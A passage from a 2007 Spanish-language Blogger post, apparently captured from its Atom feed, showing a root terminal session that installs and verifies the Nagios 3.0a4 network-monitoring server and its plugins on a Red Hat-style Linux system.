&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# yum -y install gd gd-devel&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# /usr/sbin/useradd nagios&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# passwd nagios&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# /usr/sbin/groupadd nagcmd&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# /usr/sbin/usermod -G nagcmd nagios&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# /usr/sbin/usermod -G nagcmd apache&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# wget http://osdn.dl.sourceforge.net/sourceforge/nagios/nagios-3.0a4.tar.gz&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# wget http://osdn.dl.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.7.tar.gz&lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# tar xzf nagios-3.0a4.tar.gz &lt;br /&gt;&lt;br /&gt;[root@localhost downloads]# cd nagios-3.0a4&lt;br /&gt;&lt;br /&gt;[root@localhost nagios-3.0a4]# ./configure --with-command-group=nagcmd&lt;br /&gt;Creating sample config files in sample-config/ ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*** Configuration summary for nagios 3.0a4 05-08-2007 ***:&lt;br /&gt;&lt;br /&gt; General Options:&lt;br /&gt; -------------------------&lt;br /&gt;        Nagios executable:  nagios&lt;br /&gt;        Nagios user/group:  nagios,nagios&lt;br /&gt;       Command user/group:  nagios,nagcmd&lt;br /&gt;            Embedded Perl:  no&lt;br /&gt;             Event Broker:  yes&lt;br /&gt;        Install ${prefix}:  /usr/local/nagios&lt;br /&gt;                Lock file:  ${prefix}/var/nagios.lock&lt;br /&gt;   Check result directory:  ${prefix}/var/spool/checkresults&lt;br /&gt;           Init directory:  /etc/rc.d/init.d&lt;br /&gt;  Apache conf.d directory:  /etc/httpd/conf.d&lt;br /&gt;             Mail program:  /bin/mail&lt;br /&gt;                  Host OS:  linux-gnu&lt;br /&gt;&lt;br /&gt; Web Interface Options:&lt;br /&gt; ------------------------&lt;br /&gt;                 HTML URL:  http://localhost/nagios/&lt;br /&gt;                  CGI URL:  http://localhost/nagios/cgi-bin/&lt;br /&gt; Traceroute (used by WAP):  /bin/traceroute&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Review the options above for accuracy.  If they look okay,&lt;br /&gt;type 'make all' to compile the main program and CGIs.&lt;br /&gt;[root@localhost nagios-3.0a4]# make all&lt;br /&gt;[root@localhost nagios-3.0a4]# make install&lt;br /&gt;*** Main program, CGIs and HTML files installed ***&lt;br /&gt;&lt;br /&gt;You can continue with installing Nagios as follows (type 'make'&lt;br /&gt;without any arguments for a list of all possible options):&lt;br /&gt;&lt;br /&gt;  make install-init&lt;br /&gt;     - This installs the init script in /etc/rc.d/init.d&lt;br /&gt;&lt;br /&gt;  make install-commandmode&lt;br /&gt;     - This installs and configures permissions on the&lt;br /&gt;       directory for holding the external command file&lt;br /&gt;&lt;br /&gt;  make install-config&lt;br /&gt;     - This installs sample config files in /usr/local/nagios/etc&lt;br /&gt;&lt;br /&gt;make[1]: se sale del directorio `/root/downloads/nagios-3.0a4'&lt;br /&gt;[root@localhost nagios-3.0a4]# make install-init&lt;br /&gt;/usr/bin/install -c -m 755 -d -o root -g root /etc/rc.d/init.d&lt;br /&gt;/usr/bin/install -c -m 755 -o root -g root daemon-init /etc/rc.d/init.d/nagios&lt;br /&gt;&lt;br /&gt;*** Init script installed ***&lt;br /&gt;&lt;br /&gt;[root@localhost nagios-3.0a4]# make install-config&lt;br /&gt;/usr/bin/install -c -m 775 -o nagios -g nagios -d /usr/local/nagios/etc&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/nagios.cfg /usr/local/nagios/etc/nagios.cfg&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/cgi.cfg /usr/local/nagios/etc/cgi.cfg&lt;br /&gt;/usr/bin/install -c -b -m 660 -o nagios -g nagios sample-config/resource.cfg /usr/local/nagios/etc/resource.cfg&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/localhost.cfg /usr/local/nagios/etc/localhost.cfg&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/commands.cfg /usr/local/nagios/etc/commands.cfg&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/windows.cfg /usr/local/nagios/etc/windows.cfg&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/printer.cfg /usr/local/nagios/etc/printer.cfg&lt;br /&gt;/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/switch.cfg /usr/local/nagios/etc/switch.cfg&lt;br /&gt;&lt;br /&gt;*** Sample config files installed ***&lt;br /&gt;&lt;br /&gt;Remember, these are *SAMPLE* config files.  You'll need to read&lt;br /&gt;the documentation for more information on how to actually define&lt;br /&gt;services, hosts, etc. to fit your particular needs.&lt;br /&gt;&lt;br /&gt;[root@localhost nagios-3.0a4]# make install-commandmode&lt;br /&gt;/usr/bin/install -c -m 775 -o nagios -g nagcmd -d /usr/local/nagios/var/rw&lt;br /&gt;chmod g+s /usr/local/nagios/var/rw&lt;br /&gt;&lt;br /&gt;*** External command directory configured ***&lt;br /&gt;&lt;br /&gt;[root@localhost nagios-3.0a4]# make install-webconf&lt;br /&gt;/usr/bin/install -c -m 644 sample-config/httpd.conf /etc/httpd/conf.d/nagios.conf&lt;br /&gt;&lt;br /&gt;*** Nagios/Apache conf file installed ***&lt;br /&gt;[root@localhost nagios-3.0a4]# htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin&lt;br /&gt;New password: &lt;br /&gt;Re-type new password: &lt;br /&gt;Adding password for user nagiosadmin&lt;br /&gt;&lt;br /&gt;[root@localhost nagios-3.0a4]# service httpd restart&lt;br /&gt;Parando httpd:                                             [  OK  ]&lt;br /&gt;Iniciando httpd:                                           [  OK  ]&lt;br /&gt;[root@localhost nagios-3.0a4]# cd /root/downloads/&lt;br /&gt;[root@localhost downloads]# ls&lt;br /&gt;nagios-3.0a4  nagios-3.0a4.tar.gz  nagios-plugins-1.4.7.tar.gz&lt;br /&gt;[root@localhost downloads]# tar xzf nagios-plugins-1.4.7.tar.gz &lt;br /&gt;[root@localhost downloads]# ls&lt;br /&gt;nagios-3.0a4  nagios-3.0a4.tar.gz  nagios-plugins-1.4.7  nagios-plugins-1.4.7.tar.gz&lt;br /&gt;[root@localhost downloads]# cd nagios-plugins-1.4.7&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# ./configure --with-nagios-user=nagios --with-nagios-group=nagios&lt;br /&gt;            --with-apt-get-command: &lt;br /&gt;              --with-ping6-command: /bin/ping6 -n -U -w %d -c %d %s&lt;br /&gt;               --with-ping-command: /bin/ping -n -U -w %d -c %d %s&lt;br /&gt;                       --with-ipv6: yes&lt;br /&gt;                      --with-mysql: not found&lt;br /&gt;                    --with-openssl: no&lt;br /&gt;                     --with-gnutls: no&lt;br /&gt;                       --with-perl: /usr/bin/perl&lt;br /&gt;                     --with-cgiurl: /nagios/cgi-bin&lt;br /&gt;               --with-trusted-path: /bin:/sbin:/usr/bin:/usr/sbin&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# make&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# make install&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# chkconfig --add nagios&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# chkconfig nagios on&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg&lt;br /&gt;&lt;br /&gt;Nagios 3.0a4&lt;br /&gt;Copyright (c) 1999-2007 Ethan Galstad (http://www.nagios.org)&lt;br /&gt;Last Modified: 05-08-2007&lt;br /&gt;License: GPL&lt;br /&gt;&lt;br /&gt;Reading configuration data...&lt;br /&gt;&lt;br /&gt;Running pre-flight check on configuration data...&lt;br /&gt;&lt;br /&gt;Checking services...&lt;br /&gt;        Checked 8 services.&lt;br /&gt;Checking hosts...&lt;br /&gt;        Checked 1 hosts.&lt;br /&gt;Checking host groups...&lt;br /&gt;        Checked 1 host groups.&lt;br /&gt;Checking service groups...&lt;br /&gt;        Checked 0 service groups.&lt;br /&gt;Checking contacts...&lt;br /&gt;        Checked 1 contacts.&lt;br /&gt;Checking contact groups...&lt;br /&gt;        Checked 1 contact groups.&lt;br /&gt;Checking service escalations...&lt;br /&gt;        Checked 0 service escalations.&lt;br /&gt;Checking service dependencies...&lt;br /&gt;        Checked 0 service dependencies.&lt;br /&gt;Checking host escalations...&lt;br /&gt;        Checked 0 host escalations.&lt;br /&gt;Checking host dependencies...&lt;br /&gt;        Checked 0 host dependencies.&lt;br /&gt;Checking commands...&lt;br /&gt;        Checked 24 commands.&lt;br /&gt;Checking time periods...&lt;br /&gt;        Checked 3 time periods.&lt;br /&gt;Checking for circular paths between hosts...&lt;br /&gt;Checking for circular host and service dependencies...&lt;br /&gt;Checking global event handlers...&lt;br /&gt;Checking obsessive compulsive processor commands...&lt;br /&gt;Checking misc settings...&lt;br /&gt;&lt;br /&gt;Total Warnings: 0&lt;br /&gt;Total Errors:   0&lt;br /&gt;&lt;br /&gt;Things look okay - No serious problems were detected during the pre-flight check&lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# &lt;br /&gt;[root@localhost nagios-plugins-1.4.7]# service nagios start&lt;br /&gt;Starting nagios: done.&lt;br /&gt;&lt;br /&gt;LISTO YA TENEMOS NUESTRO SERVICIO DE MONITOREO PERO AUN QUEDA MAS POR HACER YA QUE POR DEFAULT TENEMOS SOLO EL LOCALHOST Y DEBEMOS DE CONFIGURAR MAS COSAS Y PROGRAMAR PLUGINS EN PERL,SSH O C ,PARA HACERLO MAS PERSONALIZADO Y AGREGAR LOS DISPOSITIVOS QUE DEBEMOS MONITOREAR ASI COMO LOS SERVICIOS Y CONTACTOS. LOS PLUGINS QUE TIENE NAGIOS SON MUY BUENOS PERO HAY QUE INOVAR ASI QUE ,AUN ..ESTO TODAVIA NO ACABA&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EKXO&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-9097216939460932462?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/9097216939460932462/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=9097216939460932462' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/9097216939460932462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/9097216939460932462'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2007/12/nagios-sistema-de-monitoreo-para-redes.html' title='NAGIOS : SISTEMA DE MONITOREO PARA REDES'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_X3QcW21Qw2k/R6tp7YnwQhI/AAAAAAAAAD0/7GhPRO6ksyA/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
